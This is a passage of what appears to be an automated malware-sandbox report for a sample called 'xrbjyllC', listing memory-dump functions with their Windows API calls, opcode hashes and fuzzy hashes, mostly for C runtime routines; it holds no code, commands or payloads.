Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 76106e3245f7f424c45b31bfcb6ce4abc09a8204e40fd97d720952aac674ab60
Instruction ID: 78324cca24cdffe81b5a5044ec7395d5e09e72312ec5e34f05554436d11466de
Opcode Fuzzy Hash: 76106e3245f7f424c45b31bfcb6ce4abc09a8204e40fd97d720952aac674ab60
Instruction Fuzzy Hash: 7D1124B19042099FDB10DFAAC484ADEFBF4EF48320F10842AE469A7210C774A944CFA0

Function 2D81AF28 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 2D81AF8F

Memory Dump Source

Source File: 00000009.00000002.1891215839.000000002D810000.00000040.00000800.00020000.00000000.sdmp, Offset: 2D810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d810000_xrbjyllC.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5906ddde84768cccbe86f034ebfd2b0978c71fae0b977e96443814a3c48e757d
Instruction ID: 63aae4eb28fb6ea0f8fcaece638bc868343855a08e425eccf227de57d6286416
Opcode Fuzzy Hash: 5906ddde84768cccbe86f034ebfd2b0978c71fae0b977e96443814a3c48e757d
Instruction Fuzzy Hash: 3011E2B1C006599FDB10DF9AC544BDEFBF4EB48320F11856AE858B7250D378A944CFA5

Function 2DB80E20 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 2DB80E86

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 00f64ce4f751b70bafdc8d4a725c917e828197d9419f01c428b1df35e9827d04
Instruction ID: 5cb188e3c21914025507e1d383a1c4223cf6b2a643c1d61ef13f4f7c4ed4550f
Opcode Fuzzy Hash: 00f64ce4f751b70bafdc8d4a725c917e828197d9419f01c428b1df35e9827d04
Instruction Fuzzy Hash: D2110CB6C003498FCB10DF9AC544ADEFBF4EF88260F20852AD869B7610D378A545CFA1

Function 2DB80E1A Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 2DB80E86

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 71929836dade1ddd548649143a103c85c66e8315c3207dbc04180ec9385f085e
Instruction ID: 341c29e8886685fe41e2b5cd105dbfe9843e40fc08f33e5e1ef3bec865b2b494
Opcode Fuzzy Hash: 71929836dade1ddd548649143a103c85c66e8315c3207dbc04180ec9385f085e
Instruction Fuzzy Hash: 21112DB2C002498FDB10CF9AD584BDEFBF0AF48210F20855AD868B7610D378A545CFA1

Function 2DB86A18 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,2DB869F5), ref: 2DB86A7F

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 81c223eed658f53c3dda4fef812088f74c1158055ee63a97b979b5b75bc1fdc4
Instruction ID: eab830a3ab1b6f87957f287acd59b67cfe0c12538753f47c9d2dfc1ba10eaf20
Opcode Fuzzy Hash: 81c223eed658f53c3dda4fef812088f74c1158055ee63a97b979b5b75bc1fdc4
Instruction Fuzzy Hash: BF1100B58002499FCB10DFAAC584BDEFFF4EB48320F20841AE569B7650D774A940CFA5

Function 2DB85474 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,2DB869F5), ref: 2DB86A7F

Memory Dump Source

Source File: 00000009.00000002.1892082144.000000002DB80000.00000040.00000800.00020000.00000000.sdmp, Offset: 2DB80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2db80000_xrbjyllC.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: d4e8423abd7af99878e21432f0448bac80755169ddcfc032772ba17280c464d8
Instruction ID: aaeeb44426d379cac35d452f13dd32e5de5ec1010f81ace27005c3d469ad7243
Opcode Fuzzy Hash: d4e8423abd7af99878e21432f0448bac80755169ddcfc032772ba17280c464d8
Instruction Fuzzy Hash: E41103B1800289CFCB10DF9AD585BDEBBF4EB48320F208469E959B7250D774A944CFA5

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 27F695C8 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 27F6962A

Memory Dump Source

Source File: 00000009.00000002.1884960911.0000000027F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 27F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27f60000_xrbjyllC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: d6d2b72d027184d57fe5ea84d5cafbe2b8dcab34fa9e806ff3c81e0203d2baf3
Instruction ID: 32d5f1186475f80aef57cdc62db2554d84c8a47be1171550637cdf9bf62723cf
Opcode Fuzzy Hash: d6d2b72d027184d57fe5ea84d5cafbe2b8dcab34fa9e806ff3c81e0203d2baf3
Instruction Fuzzy Hash: 8D1155B19002488FDB24DFAAC4447DEFBF4EB88320F208829D459A7250CA39A940CFA4

Function 27DAD5E8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1884420939.0000000027DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 27DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27dad000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b1a625fd263c55856cd54913e501a6dbc4ac60af8517a866c8400e17b7149e
Instruction ID: 54c112668bd4b7f4a11a9df85c7f5ee06adfda37f6e053513a052d7d5eebd319
Opcode Fuzzy Hash: 43b1a625fd263c55856cd54913e501a6dbc4ac60af8517a866c8400e17b7149e
Instruction Fuzzy Hash: 5F2100B1500608DFCB01DF14DAC0F0AFFA9FB98314F2885ADE90C0B25AC736D456CAA1

Function 27DBD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1884501187.0000000027DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 27DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27dbd000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b190a70142a888835ef77e7ab74389dd71790d07ec08161a3f987848678b375d
Instruction ID: 6e793ddd64640bdd53ce78319f9d5232f44a196b7bd32f8d0b24899da3b7f700
Opcode Fuzzy Hash: b190a70142a888835ef77e7ab74389dd71790d07ec08161a3f987848678b375d
Instruction Fuzzy Hash: 9C2101B1604204DFCB20DF15DAC0F16FBA5EB84314F20C66DE94A5B256C33AD847CB62

Function 27DAD5E3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1884420939.0000000027DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 27DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27dad000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
Instruction ID: a98a7582c2433c9c328516b96808ed672c9c7021db9e55e944bd666395837b6e
Opcode Fuzzy Hash: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
Instruction Fuzzy Hash: 64119D76504644CFCB02CF10D9C4B06BF61FB94214F2885A9D9090A25AC336D55ACBA1

Function 27DBD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1884501187.0000000027DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 27DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27dbd000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 021c8d7180bca40b1b4a0da321e6e5f783d7625571517dbbd39f1422581fcb41
Instruction ID: 3845b217b4515694663a33cbd01b666bc6298620f7a7d2ef8c8e3194bd8f72ac
Opcode Fuzzy Hash: 021c8d7180bca40b1b4a0da321e6e5f783d7625571517dbbd39f1422581fcb41
Instruction Fuzzy Hash: B6118B75504284DFDB11CF14D5C4B15FBA1FB84314F24C6AEDC4A4B656C33AD44ACB62

Function 27DAD005 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1884420939.0000000027DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 27DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27dad000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd5963d2dbea0553f357632ef604e37fdd14bdbdcf94b4d5c5d89c7b57b8afe
Instruction ID: 666303be060f9a7da177805bc059fd5950fdb99fd330285d05a1b20561edb690
Opcode Fuzzy Hash: ebd5963d2dbea0553f357632ef604e37fdd14bdbdcf94b4d5c5d89c7b57b8afe
Instruction Fuzzy Hash: AB014C7140D3C09FD7024B268C94752BFB8EF53224F1985DBE9889F1A7C6695C49CBB2

Function 27DAD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1884420939.0000000027DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 27DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27dad000_xrbjyllC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33525c4e6d925ab2181681711c1b44f6b433a4fd450f06f4faa8ef168f09fe3d
Instruction ID: 43dad9e0fb041da2589ac4ae41cacedb6b30055ea7c6fe5fb0381f3caad78222
Opcode Fuzzy Hash: 33525c4e6d925ab2181681711c1b44f6b433a4fd450f06f4faa8ef168f09fe3d
Instruction Fuzzy Hash: B001F271008340DAE3108B26C984B57FFDCFF41324F18C53EED882A28ACA799841CAB5

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1859312320.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1859312320.0000000000445000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1859312320.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1859312320.0000000000445000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000123AF), ref: 004123F6

Memory Dump Source

Source File: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1859312320.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.1859312320.0000000000445000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction ID: 17be93bd3878235df00445469c4c747c8dbd7a907b9f456768254b9c32cbcc1b
Opcode Fuzzy Hash: 4924e8eeaf860e2c76ee0bfea96ab0c911441afc8f12962253436aa9ca0899ee
Instruction Fuzzy Hash: CA900270661144D7865017705D0968669949B4C6427618471653DD4098DBAA40505569

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,27DC18F8), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.XRBJYLLC(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.XRBJYLLC(80070057), ref: 00401800
EntryPoint.XRBJYLLC(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.XRBJYLLC(8007000E), ref: 00401839
EntryPoint.XRBJYLLC(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(27DC1698), ref: 00414050

Memory Dump Source

Source File: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000001.1719718721.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000001.1719718721.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

